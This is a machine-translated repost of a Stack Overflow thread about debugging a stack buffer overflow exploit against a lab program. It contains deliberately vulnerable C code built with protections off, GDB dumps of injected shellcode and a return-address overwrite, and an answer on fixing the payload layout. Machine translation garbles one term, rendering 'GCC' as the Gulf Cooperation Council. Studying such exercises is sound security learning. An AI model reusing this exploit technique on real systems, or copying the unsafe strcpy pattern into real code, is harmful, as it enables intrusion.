gpt4 book ai didi

c - 缓冲区溢出漏洞 : segfault on function ret to stack code

转载 作者:太空狗 更新时间:2023-10-29 15:42:26 24 4
gpt4 key购买 nike

我试图利用测试程序中的缓冲区溢出来执行任意代码。我在 NetBSD 6 i386 上。这是 C 代码:

int checkPassword(char *password)
{
char savePassword[64] = {0};
char *logMessage;
int isUser = 0;
int isAdmin = 0;
int i;

if (!strcmp(password, userPassword))
isUser = 1;
strcpy(savePassword, password);
for (i = 0; password[i]; ++i)
password[i] ^= xorKey;
if (!strcmp(password, adminPassword))
isAdmin = 1;
if (!(isAdmin | isUser)) {
/* ... */
}
return isAdmin ? ADMIN : isUser ? USER : NOBODY; /* main.c:79 */
}

我将代码插入 savePassword 缓冲区(位于 %ebp - 0x58)。下面是使用 GDB 的调试:

# gdb -q ./pepito
Reading symbols from /root/Pepito/source/pepito...done.
(gdb) b main.c:79
Breakpoint 1 at 0x80490f4: file main.c, line 79.
(gdb) r debug
Starting program: /root/Pepito/source/pepito debug
Daemon started

Breakpoint 1, checkPassword (password=0xbb901000 '�' <repeats 57 times>, "\345Q?Y?\005?T?T�\r\345Td3\a?T�\035\060\071\071:u\":'91_-\352\352") at main.c:79
79 return isAdmin ? ADMIN : isUser ? USER : NOBODY;

我在函数返回时中断,然后我确保任意代码(96 字节长度)被正确写入堆栈:

(gdb) x/96xb $ebp-0x58
0xbfbfd560: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd568: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd570: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd578: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd580: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd588: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd590: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd598: 0x90 0xb0 0x04 0x6a 0x0c 0x6a 0x50 0x6a
0xbfbfd5a0: 0x01 0x6a 0x01 0xcd 0x60 0x00 0x00 0x00
0xbfbfd5a8: 0x31 0xd2 0x66 0x52 0x6a 0x01 0xcd 0x80
0xbfbfd5b0: 0x48 0x65 0x6c 0x6c 0x6f 0x20 0x77 0x6f
0xbfbfd5b8: 0x72 0x6c 0x64 0x0a 0x78 0xd5 0xbf 0xbf

然后我继续,直到 ret 汇编指令:

(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) x/i $eip
=> 0x8049119 <checkPassword+393>: ret

然后我检查堆栈顶部的返回地址(在 %esp):

(gdb) x/xw $esp
0xbfbfd5bc: 0xbfbfd578

这个地址将被ret 弹出,然后我们将跳转到它。让我们看看我们在该地址的说明:

(gdb) x/50i 0xbfbfd578
0xbfbfd578: nop
0xbfbfd579: nop
0xbfbfd57a: nop
[...]
0xbfbfd597: nop
0xbfbfd598: nop
0xbfbfd599: mov al,0x4
0xbfbfd59b: push 0xc
0xbfbfd59d: push 0x50
0xbfbfd59f: push 0x1
0xbfbfd5a1: push 0x1
0xbfbfd5a3: int 0x60

我们的任意代码!

但是如果我执行 ret 它会出现段错误:

(gdb) nexti 

Program received signal SIGSEGV, Segmentation fault.
0x08049119 in checkPassword (password=0xbb901000 '�' <repeats 57 times>, "\345Q?Y?\005?T?T�\r\345Td3\a?T�\035\060\071\071:u\":'91_-\352\352") at main.c:80
80 }
(gdb) x/i $eip
=> 0x8049119 <checkPassword+393>: ret

操作系统似乎禁止我在堆栈内存上跳转。但是我禁用了不可执行的堆栈保护:

gcc -m32 -g -fno-stack-protector -D_FORTIFY_SOURCE=0  -c main.c
gcc main.o daemon.o network.o utils.o -o pepito -m32 -L./lib_netbsd -lsecret -Wl,-rpath,./lib_netbsd -Wl,-z,execstack

readelf 确认堆栈是可执行的:

# readelf -l pepito

Elf file type is EXEC (Executable file)
Entry point 0x8048d60
There are 7 program headers, starting at offset 52

Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
[...]
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

最佳答案

在我的盒子上,在通过 strcpy 调用溢出 savePassword 之后。我得到以下指示:

0x80484ba : movl $0x0,-0x14(%ebp)

对应局部变量i初始化为0

for (i = 0; password[i]; ++i)

这会破坏注入(inject)代码中的 NOP sled,从而在执行期间引发段错误。看看你这边。如果它是相同的(我几乎可以肯定它是)那么你可以简单地将你的 shellcode 移动到有效负载的开头并摆脱 NOP sled。

正如 Fermat2357 所说,考虑在 ret 指令之前发布函数转储以及整个有效负载。

海湾合作委员会:

gcc version 4.8.0 20130502 (prerelease) (GCC)

编译:

gcc -m32 -ggdb -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 vuln.c -o vuln

片段

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define ADMIN 2
#define USER 1
#define NOBODY 0

char* userPassword = "S3cuRe";
char* adminPassword = "4dm1n";
int xorKey = 0;

int checkPassword(char *password)
{
char savePassword[64] = {0};
char *logMessage;
int isUser = 0;
int isAdmin = 0;
int i;

if (!strcmp(password, userPassword))
isUser = 1;
strcpy(savePassword, password);
for (i = 0; password[i]; ++i)
password[i] ^= xorKey;
if (!strcmp(password, adminPassword))
isAdmin = 1;
if (!(isAdmin | isUser)) {
}

return isAdmin ? ADMIN : isUser ? USER : NOBODY;
}

void main(int argc, char *argv[])
{
int user = NOBODY;
user = checkPassword(argv[1]);
printf("Hello %d\n", user);
}

关于c - 缓冲区溢出漏洞 : segfault on function ret to stack code,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/16122420/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com